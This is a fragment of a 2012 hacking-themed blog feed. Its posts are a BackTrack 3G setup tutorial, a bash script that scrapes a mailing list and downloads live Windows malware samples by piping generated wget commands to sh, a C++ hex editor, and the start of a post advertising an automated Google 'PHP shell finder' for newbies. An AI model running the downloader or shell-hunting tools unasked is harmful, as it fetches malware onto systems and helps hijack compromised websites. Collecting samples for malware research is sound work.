&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;Now you just get this message when I first 
saw this I thought it was an error massage but what it was actually 
saying I was connected. &lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;***NOTE***&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;The only way you&#39;ll know your connected is with this message and will not show up in your connection list in Wicid manager.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://1.bp.blogspot.com/-sxydo9-LAZg/TZR9ZK56cmI/AAAAAAAAAI8/A7fNRc67vgY/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-sxydo9-LAZg/TZR9ZK56cmI/AAAAAAAAAI8/A7fNRc67vgY/s1600/7.png&quot; height=&quot;504&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;That&#39;s it for this tutorial if you have any questions feel free to ask.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;inherit&#39;;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;
 &lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/435448355481591726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/435448355481591726'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/setting-up-3g-mobile-broadband-in.html' title='Setting up 3g mobile broadband in linux/backtrack (The Easy Way)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-8BYsVr5uoiE/TZRtUHa-dhI/AAAAAAAAAIQ/-VmegPu-RwI/s72-c/1.png" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-6988765078176912933</id><published>2012-11-15T22:46:00.001+05:30</published><updated>2012-11-15T22:46:43.004+05:30</updated><title type='text'>Windows Malware samples Database Downloader Script[bash]</title><content type='html'>&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Windows Malware samples Database Downloader Script[bash]&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;--- By nu11_()_v0!d&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;span style=&quot;color: #ff6600;&quot;&gt;&lt;b&gt;A Team OpenFire Production&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Need a large number of malware samples for Windows ?&lt;br /&gt;
Make ur Malware database for Research ?&lt;br /&gt;
&amp;gt;&amp;gt; &amp;gt;&amp;gt; &amp;gt;&amp;gt;&lt;br /&gt;
&amp;gt;&amp;gt; &amp;gt;&amp;gt;&lt;br /&gt;
&amp;gt;&amp;gt;&lt;br /&gt;
Here is a bash script I whipped up to download &#39;executable&#39; on an hourly basis from Clean MX&#39;s mailing list. This&lt;br /&gt;
places all samples in a folder I created in /usr/share/malware&lt;br /&gt;
 &lt;br /&gt;
&lt;b&gt; Name it &lt;span style=&quot;color: lime;&quot;&gt;windows_malware_database_TOF.sh&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;


&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
 &lt;div class=&quot;type&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre&gt;rootdir=&quot;/usr/share/malware&quot;
day=`date +%Y%m%d`
 
url=`echo &quot;wget -qO - http://lists.clean-mx.com/pipermail/viruswatch/$day/thread.html |\
awk &#39;/\[Virus/&#39;|tail -n 1|sed &#39;s:\&quot;: :g&#39; |\
awk &#39;{print \&quot;http://lists.clean-mx.com/pipermail/viruswatch/$day/\&quot;$3}&#39;&quot;|sh`
 
filename=`wget -qO - http://lists.clean-mx.com/pipermail/viruswatch/$day/thread.html |\
awk &#39;/\[Virus/&#39;|tail -n 1|sed &#39;s:&quot;: :g&#39; |awk &#39;{print $3}&#39;`
 
links -dump $url$filename | awk &#39;/Up/&#39;|grep &quot;TR\|exe&quot; | awk &#39;{print $2,$8,$10,$11,$12&quot;\n&quot;}&#39; &amp;gt; $rootdir/$filename
 
dirname=`wget -qO - http://lists.clean-mx.com/pipermail/viruswatch/$day/thread.html |\
awk &#39;/\[Virus/&#39;|tail -n 1|sed &#39;s:&quot;: :g&#39; |awk &#39;{print $3}&#39;|sed &#39;s:.html::g&#39;`
 
rm -rf $rootdir/$dirname
mkdir $rootdir/$dirname
 
cd $rootdir
 
grep &quot;exe$&quot; $filename |awk &#39;{print &quot;wget \&quot;&quot;$5&quot;\&quot;&quot;}&#39; | sh
ls *.exe | xargs md5 &amp;gt;&amp;gt; checksums
mv *.exe $dirname
 
rm -r $rootdir/*exe*
mv checksums $rootdir/$dirname
mv $filename $rootdir/$dirname&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;/div&gt;
Use It for Your Fruitful; Research !!!!&lt;br /&gt;
Need suggestion !!!</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6988765078176912933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6988765078176912933'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/windows-malware-samples-database.html' title='Windows Malware samples Database Downloader Script[bash]'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-3269442489510780306</id><published>2012-09-25T03:35:00.007+05:30</published><updated>2012-09-25T03:35:58.027+05:30</updated><title type='text'>A PRIVATE HEX EDITOR CODED ON C++</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;A PRIVATE HEX EDITOR CODED ON C++&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;COMPILE AND RUN&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;span style=&quot;background-color: blue;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;1. Main.cpp&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt;    #include &quot;Editor.hpp&quot;
     
    Console console;
    HexEditor hexedit;
    bool quit = false;
    void draw();
    void loop();
    void processInput(char key);
     
    int main() {
        loop();
        return 0;
    }
     
    void loop() {
        console.init(&quot;Psych Hex Editor - Created by Psych.gs&quot;);
        draw();
        char input;
        while (!quit) {
            input = getch();
            processInput(input);
            draw();
        }
    }
     
    void draw() {
        console.clear();
        console.write(0,23,&quot;Keys: ESC = Exit  ENTER = Open File  WASD = Navigate Tab = Edit  Z = Save&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
        console.write(0,24,&quot;Q = Scrolldown E = Scrollup Space = Switch View F = Find&quot;,FOREGROUND_BLUE|BACKGROUND_GREEN);
        hexedit.draw(&amp;amp;console);
        console.render();
    }
     
    void processInput(char key) {
        if (key == VK_TAB) {
            hexedit.go_edit(&amp;amp;console);
        }
        if (key == VK_ESCAPE) {
            quit = true;
        }
        if (key == VK_RETURN) {
            hexedit.load_file();
        }
        if (key == &#39;d&#39; || key == &#39;D&#39;) {
            hexedit.select(1);
        }
        if (key == &#39;a&#39; || key == &#39;A&#39;) {
            hexedit.select(-1);
        }
        if (key == &#39;s&#39; || key == &#39;S&#39;) {
            hexedit.select(16);
        }
        if (key == &#39;w&#39; || key == &#39;W&#39;) {
            hexedit.select(-16);
        }
        if (key == &#39;q&#39; || key == &#39;Q&#39;) {
            hexedit.scroll(1);
        }
        if (key == &#39;e&#39; || key == &#39;E&#39;) {
            hexedit.scroll(-1);
        }
        if (key == &#39;z&#39; || key == &#39;Z&#39;) {
            hexedit.save();
        }
        if (key == &#39;f&#39; || key == &#39;F&#39;) {
            hexedit.find(&amp;amp;console);
        }
        if (key == VK_SPACE) {
            hexedit.switchmodes();
        }
    }
    &lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;span style=&quot;background-color: magenta;&quot;&gt;2. Editor.hpp&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
   &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt;    #include &lt;conio .h=&quot;.h&quot;&gt;
    #include &lt;stdio .h=&quot;.h&quot;&gt;
    #include &lt;process .h=&quot;.h&quot;&gt;
    #include &lt;windows .h=&quot;.h&quot;&gt;
     
    void error(const char *msg);
     
    class Console {
    private:
        CHAR_INFO console_buffer[25][80];
        HANDLE cHandle;
    public:
        void init(const char *title);
        void write(int x, int y, const char *c, WORD attributes);
        void render();
        void clear();
    };
     
    struct Editable {
        short x;
        int y;
        char data;
    };
     
    class HexEditor {
    private:
        char fname[64];
        char completePath[255];
        long fsize;
        bool hasFile;
        char *fileByte;
        Editable *edit;
        Editable *strEdit;
        long selected,lc;
        int sTimes;
        long scrollAmount;
        void gen_edit();
        void grab_file_info();
        void findandselect(const char *find);
        void findtext(Console *g);
        void findbytes(Console *g);
        void converttobytes(char *bytebuf, const char *text);
        bool startsWith(const char *c1,const char *c2);
        short mode;
    public:
        void draw(Console *g);
        void load_file();
        void select(int add);
        void scroll(int add);
        void switchmodes();
        void go_edit(Console *g);
        void save();
        void find(Console *g);
        bool editMode;
    };
    &lt;/windows&gt;&lt;/process&gt;&lt;/stdio&gt;&lt;/conio&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: magenta;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;3. Editor.cpp&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt;    #include &quot;Editor.hpp&quot;
     
    void m(const char *m) {
        MessageBoxA(0,m,m,0);
    }
     
    void error(const char *msg) {
        MessageBoxA(0,msg,&quot;Psych Hex Editor|Error&quot;,0);
    }
     
    void Console::init(const char* title) {
        cHandle = (HANDLE)GetStdHandle(STD_OUTPUT_HANDLE);
        if (cHandle == INVALID_HANDLE_VALUE) {
            error(&quot;Invalid handle value of std output handle.&quot;);
        }
        SetConsoleTitle(title);
    }
     
    void Console::clear() {
        for (int x = 0; x &amp;lt; 80; x++) {
            for (int y = 0; y &amp;lt; 25; y++) {
                console_buffer[y][x].Char.AsciiChar = &#39;\0&#39;;
                console_buffer[y][x].Attributes = FOREGROUND_GREEN | BACKGROUND_BLUE;
            }
        }
    }
     
    void Console::write(int x, int y, const char *c, WORD attributes) {
        int len = strlen(c);
        for (int i = 0; i &amp;lt; len; i++) {
            console_buffer[y][x+i].Char.AsciiChar = c[i];
            console_buffer[y][x+i].Attributes = attributes;
        }
    }
     
    void Console::render() {
        COORD size = {80,25};
        COORD pos = {0,0};
        SMALL_RECT region = {0,0,79,24};
        WriteConsoleOutput(cHandle,(CHAR_INFO*)console_buffer,size,pos,&amp;amp;region);
    }
     
    void HexEditor::draw(Console *g) {
        char outBuf[80];
        if (hasFile) {
            sprintf(outBuf,&quot;%s %f kb&quot;,fname,(float)fsize/1024);
        } else {
            sprintf(outBuf,&quot;No File Loaded&quot;);
        }
        g-&amp;gt;write(0,0,outBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
        char out[4];
        scrollAmount = sTimes*16;
        if (hasFile) {
            for (lc = 0; lc &amp;lt; fsize; lc++) {
                if (lc &amp;lt; 304 &amp;amp;&amp;amp; lc+scrollAmount &amp;lt; fsize) {
                    switch (mode) {
                        case 0:
                            sprintf(out,&quot;x%x&quot;,edit[lc+scrollAmount].data);
                            break;
                        case 1:
                            sprintf(out,&quot;%c&quot;,edit[lc+scrollAmount].data);
                            break;
                    }
                    if (selected == lc+scrollAmount) {
                        if (editMode) {
                            g-&amp;gt;write(edit[lc+scrollAmount].x,edit[lc+scrollAmount].y-sTimes,out,FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_INTENSITY);
                        } else {
                            g-&amp;gt;write(edit[lc+scrollAmount].x,edit[lc+scrollAmount].y-sTimes,out,FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
                        }
                    } else {
                        g-&amp;gt;write(edit[lc+scrollAmount].x,edit[lc+scrollAmount].y-sTimes,out,BACKGROUND_BLUE|BACKGROUND_RED|BACKGROUND_GREEN);
                    }
                }
            }
        }
    }
     
    void HexEditor::select(int add) {
        if (selected+add &amp;lt; 0 || selected+add == fsize || selected+add &amp;gt; fsize) {
            return;
        }
        selected += add;
    }
     
    void HexEditor::scroll(int add) {
        if (sTimes+add &amp;lt; 0 || sTimes+add &amp;gt; (fsize-288)/16) {
            return;
        }
        sTimes += add;
    }
     
    void HexEditor::switchmodes() {
        if (mode != 1 || mode &amp;gt; 1) {
            mode++;
        } else {
            mode = 0;
        }
        gen_edit();
    }
     
    void HexEditor::load_file() {
        OPENFILENAME ofn;
        ZeroMemory(&amp;amp;ofn,sizeof(ofn));
        ofn.lStructSize = sizeof(OPENFILENAME);
        ofn.lpstrFilter = &quot;All Files (*.*)\0*.*\0&quot;;
        ofn.lpstrFile = completePath;
        ofn.nMaxFile = 255;
        ofn.Flags = OFN_EXPLORER | OFN_FILEMUSTEXIST;
        ofn.lpstrDefExt = &quot;&quot;;
       
        if (GetOpenFileName(&amp;amp;ofn)) {
            hasFile = true;
            grab_file_info();
        }
    }
     
    void HexEditor::grab_file_info() {
        SHFILEINFOA sfi = {0};
        SHGetFileInfo(completePath,-1,&amp;amp;sfi,sizeof(sfi),SHGFI_DISPLAYNAME);
        sprintf(fname,&quot;%s&quot;,sfi.szDisplayName);
        FILE *fp = fopen(completePath,&quot;rb&quot;);
        fseek(fp,0,SEEK_END);
        fsize = ftell(fp);
        fseek(fp,0,SEEK_SET);
        fileByte = (char*)malloc(sizeof(char)*fsize);
        fread(fileByte,1,fsize,fp);
        fclose(fp);
        gen_edit();
    }
     
    void HexEditor::gen_edit() {
        edit = (Editable*)malloc(sizeof(Editable)*fsize);
        short currX = 0;
        int currY = 3;
        for (lc = 0; lc &amp;lt; fsize; lc++) {
            if (fileByte[lc] &amp;lt; 0x20 &amp;amp;&amp;amp; mode == 1) {
                edit[lc].data = &#39; &#39;;
            } else {
                edit[lc].data = fileByte[lc];
            }
            edit[lc].x = currX;
            edit[lc].y = currY;
            if (currX != 75) {
                currX += 5;
            } else {
                currY++;
                currX = 0;
            }
        }
    }
     
    void HexEditor::go_edit(Console *g) {
        editMode = true;
        if (mode == 0) {
            g-&amp;gt;clear();
            g-&amp;gt;write(0,24,&quot;Please enter a valid hexadecimal number-&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
            draw(g);
            g-&amp;gt;render();
            short hex;
            char c[4];
            c[0] = &#39;0&#39;;
            c[1] = &#39;x&#39;;
            c[2] = getch();
            if ((c[2] &amp;gt; 0x29 &amp;amp;&amp;amp; c[2] &amp;lt; 0x3A) || (c[2] &amp;gt; 0x60 &amp;amp;&amp;amp; c[2] &amp;lt; 0x67) || (c[2] &amp;gt; 0x40 &amp;amp;&amp;amp; c[2] &amp;lt; 0x47)) {
                sscanf(c,&quot;%x&quot;,&amp;amp;hex);
                edit[selected].data = (char)hex;
                g-&amp;gt;clear();
                g-&amp;gt;write(0,24,&quot;Please enter a valid hexadecimal number-&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
                draw(g);
                g-&amp;gt;render();
                c[3] = getch();
                if ((c[3] &amp;gt; 0x29 &amp;amp;&amp;amp; c[3] &amp;lt; 0x3A) || (c[3] &amp;gt; 0x60 &amp;amp;&amp;amp; c[3] &amp;lt; 0x67) || (c[2] &amp;gt; 0x40 &amp;amp;&amp;amp; c[2] &amp;lt; 0x47)) {
                    sscanf(c,&quot;%x&quot;,&amp;amp;hex);
                    edit[selected].data = (char)hex;
                    fileByte[selected] = (char)hex;
                    editMode = false;
                    return;
                } else {
                    editMode = false;
                    return;
                }
            } else {
                editMode = false;
                return;
            }
        }
        if (mode == 1) {
            g-&amp;gt;clear();
            g-&amp;gt;write(0,24,&quot;Please enter a new character-&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
            draw(g);
            g-&amp;gt;render();
            char c = getch();
            if (c &amp;gt; 0x19 &amp;amp;&amp;amp; c &amp;lt; 0x7F) {
                edit[selected].data = c;
                fileByte[selected] = c;
                editMode = false;
                return;
            } else {
                editMode = false;
                return;
            }
        }
    }
     
    void HexEditor::save() {
        OPENFILENAME ofn;
        char sfilePath[255];
        ZeroMemory(&amp;amp;ofn,sizeof(ofn));
        ofn.lStructSize = sizeof(OPENFILENAME);
        ofn.lpstrFilter = &quot;All Files (*.*)\0*.*\0&quot;;
        ofn.lpstrFile = sfilePath;
        ofn.nMaxFile = 255;
        ofn.Flags = OFN_EXPLORER | OFN_PATHMUSTEXIST;
        ofn.lpstrInitialDir = completePath;
        ofn.lpstrDefExt = &quot;&quot;;
        if (GetSaveFileName(&amp;amp;ofn)) {
            FILE *fp = fopen(sfilePath,&quot;wb&quot;);
            fwrite(fileByte,fsize,1,fp);
            fclose(fp);
        }
    }
     
    void HexEditor::findbytes(Console *g) {
        char texBuf[255],text[64],bytes[24];
        memset(text,&#39;\0&#39;,64);
        short currLen = 0;
        sprintf(texBuf,&quot;Please enter bytes to find(FORMAT=0x??,0x??)-&amp;gt;&quot;);
        g-&amp;gt;clear();
        g-&amp;gt;write(0,23,&quot;Press escape to exit find&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
        g-&amp;gt;write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
        draw(g);
        g-&amp;gt;render();
        bool end = false;
        char in;
        while (!end) {
            in = getch();
            if (in == VK_ESCAPE) {
                end = true;
            } else {
                if (in == VK_BACK) {
                    if (currLen != 0) {
                        text[currLen-1] = &#39;\0&#39;;
                        currLen--;
                    }
                } else {
                    if (in != VK_RETURN) {
                        text[currLen] = in;
                        currLen++;
                    }
                }
                sprintf(texBuf,&quot;Please enter bytes to find(FORMAT=0x??,0x??)-&amp;gt;%s&quot;,text);
                if (currLen%5 == 0) {
                    converttobytes(bytes,text);
                    findandselect(bytes);
                }
                g-&amp;gt;clear();
                g-&amp;gt;write(0,23,&quot;Press escape to exit find&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
                g-&amp;gt;write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
                draw(g);
                g-&amp;gt;render();
            }
        }
    }
     
    void HexEditor::converttobytes(char *bytebuf, const char* text) {
        short currByte = 0,currBB = 0;
        char currBytebuf[4];
        int sLen = strlen(text);
        for (int i = 0; i &amp;lt; sLen; i++) {
            if (text[i] != &#39;,&#39;) {
                currBytebuf[currByte] = text[i];
            } else {
                currByte = 0;
                int in;
                sscanf(text,&quot;%x&quot;,&amp;amp;in);
                bytebuf[currBB] = (char)in;
                currBB++;
            }
        }
    }
     
    void HexEditor::findtext(Console *g) {
        char texBuf[255],text[64];
        memset(text,&#39;\0&#39;,64);
        short currLen = 0;
        sprintf(texBuf,&quot;Please enter text to find-&amp;gt;&quot;);
        g-&amp;gt;clear();
        g-&amp;gt;write(0,23,&quot;Press escape to exit find&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
        g-&amp;gt;write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
        draw(g);
        g-&amp;gt;render();
        bool end = false;
        char in;
        while (!end) {
            in = getch();
            if (in == VK_ESCAPE) {
                end = true;
            } else {
                if (in == VK_BACK) {
                    if (currLen != 0) {
                        text[currLen-1] = &#39;\0&#39;;
                        currLen--;
                    }
                } else {
                    if (in != VK_RETURN) {
                        text[currLen] = in;
                        currLen++;
                    }
                }
                sprintf(texBuf,&quot;Please enter text to find-&amp;gt;%s&quot;,text);
                findandselect(text);
                g-&amp;gt;clear();
                g-&amp;gt;write(0,23,&quot;Press escape to exit find&quot;,FOREGROUND_GREEN|BACKGROUND_BLUE);
                g-&amp;gt;write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
                draw(g);
                g-&amp;gt;render();
            }
        }
    }
     
    void HexEditor::find(Console* g) {
        switch (mode) {
            case 0:
                findbytes(g);
                break;
            case 1:
                findtext(g);
                break;
        }
    }
     
    void HexEditor::findandselect(const char *find) {
        char fBuf[64];
        memset(fBuf,&#39;\0&#39;,64);
        int flen = strlen(find);
        for (lc = selected; lc &amp;lt; fsize; lc++) {
            for (int i = 0; i &amp;lt; flen; i++) {
                fBuf[i] = fileByte[lc+i];
            }
            if (!strcmp(fBuf,find)) {
                selected = lc;
                if ((lc-288)/16 &amp;lt; 0) {
                    sTimes = 0;
                } else {
                    sTimes = (lc-288)/16;
                }
                return;
            }
        }
    }
    &lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;

			&lt;/article&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/3269442489510780306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/3269442489510780306'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/a-private-hex-editor-coded-on-c.html' title='A PRIVATE HEX EDITOR CODED ON C++'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-4042506079688697582</id><published>2012-09-25T03:29:00.003+05:30</published><updated>2012-09-25T03:30:49.543+05:30</updated><title type='text'>PHP SHELL FINDER FOR NEWBIES FROM TEAM OPENFIRE</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;PHP SHELL FINDER FOR NEWBIES FROM TEAM OPENFIRE&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;BY NU11_()_V0!D&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
It&#39;s Automated PHP shell finder by crawling Google.com.&lt;br /&gt;
Can save a huge amount of time for newbies and also relief for Pors or 1337s [Do Not Disturb].&lt;br /&gt;
